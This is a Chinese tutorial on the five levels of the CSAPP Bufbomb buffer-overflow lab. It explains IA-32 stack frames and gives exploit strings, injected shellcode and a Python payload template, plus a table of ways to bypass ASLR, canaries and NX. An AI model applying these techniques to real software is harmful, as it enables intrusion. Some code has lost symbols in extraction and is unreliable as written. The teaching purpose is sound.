
CSAPP Bufbomb 实验5 个难度级别缓冲区溢出攻击实战与栈帧分析1. 实验环境与工具链配置在开始缓冲区溢出攻击实验前需要准备以下环境Linux 系统推荐 Ubuntu 18.04 或 CentOS 7必要工具sudo apt-get install gcc gdb python3 python3-pip build-essential实验文件bufbomb目标可执行程序bufbomb.c主程序源码参考用makecookie生成唯一 cookie 值hex2raw字符串格式转换工具提示使用objdump -d bufbomb bufbomb.asm生成反汇编代码这是后续分析的重要依据。2. IA-32 栈帧结构与关键寄存器理解栈帧结构是攻击的基础典型函数调用栈布局如下内存地址内容说明高地址参数 N调用者压入的参数.........低地址返回地址call 指令下一条指令地址旧的 %ebp被调用者保存的帧指针局部变量如 buf函数内部定义的变量关键寄存器作用%eip指令指针存储下一条要执行的指令地址%esp栈指针始终指向栈顶%ebp基址指针标记当前栈帧起始位置3. 五阶段攻击实战详解3.1 SmokeLevel 0基础返回地址覆盖攻击目标使getbuf()返回到smoke()而非原调用者。操作步骤确定smoke()地址objdump -d bufbomb | grep smoke示例输出08048c18 smoke:计算填充长度buf大小0x28 (40) 字节覆盖保存的 %ebp4 字节覆盖返回地址4 字节总长度48 字节构造攻击字符串00 00 00 00 ... (44个00) 18 8c 04 08使用小端格式写入返回地址。3.2 FizzLevel 1带参数函数跳转攻击目标跳转到fizz(cookie)并传递正确的 cookie 值。关键步骤分析fizz()参数位置mov 0x8(%ebp), %eax # 参数位于 ebp8栈布局设计[任意40字节][旧ebp][fizz地址][返回地址][cookie] ↑ ebp示例攻击字符串假设 cookie0x1234567800 00 00 00 ... (40个00) 00 00 00 00 42 8c 04 08 00 00 00 00 78 56 34 123.3 BangLevel 2注入可执行代码攻击目标注入汇编代码修改全局变量global_value。攻击代码示例bang.smovl $0x12345678, 0x804d100 # 修改 global_value push $0x08048c9d # bang() 地址 ret # 跳转到 bang编译与提取机器码gcc -m32 -c bang.s objdump -d bang.o关键技巧确定buf起始地址通过 GDB用 NOP sled 增加命中概率3.4 BoomLevel 3精确栈帧恢复攻击目标使getbuf()正常返回但返回值为 cookie。解决方案注入代码设置返回值mov $0x12345678, %eax # 设置返回值 push $0x08048dbe # 原返回地址 ret精确恢复栈帧通过 GDB 获取原 %ebp 值在攻击字符串中包含正确的 %ebp3.5 NitroLevel 4对抗地址随机化特殊挑战每次运行时栈地址不同。应对策略NOP sled用大量 NOP(0x90) 指令填充宽返回地址覆盖为可能的最大地址相对地址计算通过 %esp 推算关键地址示例攻击代码lea 0x28(%esp), %ebp # 动态计算 %ebp mov $0x12345678, %eax # 设置返回值 push $0x08048e3a # testn 中的返回地址 ret4. GDB 调试实战技巧4.1 关键断点设置gdb bufbomb (gdb) break *0x080490a3 # getbuf 中 Gets 调用前 (gdb) break *0x080490a8 # Gets 返回后4.2 栈内存检查命令(gdb) x/20xw $esp # 查看栈顶20个字 (gdb) info frame # 查看当前栈帧信息 (gdb) p $ebp # 查看当前ebp值4.3 寄存器修改技巧(gdb) set {int}0xbffff6bc 0x08048e8b # 直接修改内存 (gdb) set $eax 0x12345678 # 修改寄存器5. 高级攻击技术与防御5.1 现代防御机制机制作用绕过方法ASLR随机化内存布局信息泄露暴力破解Stack Canary检测栈破坏覆盖 canary 或跳过他NX/DEP阻止栈执行代码ROP/JOP 攻击5.2 攻击字符串生成模板import struct def build_exploit(): buf bA * 40 # 填充缓冲区 buf struct.pack(I, 0xdeadbeef) # 覆盖 ebp buf struct.pack(I, 0x08048c18) # 返回地址 return buf实际项目中缓冲区溢出漏洞的利用需要考虑更多现实约束但本实验提供的五个难度级别完整覆盖了从基础到高级的攻击技术演进路径。通过结合 GDB 调试与汇编代码分析可以深入理解计算机系统底层的安全机制设计原理。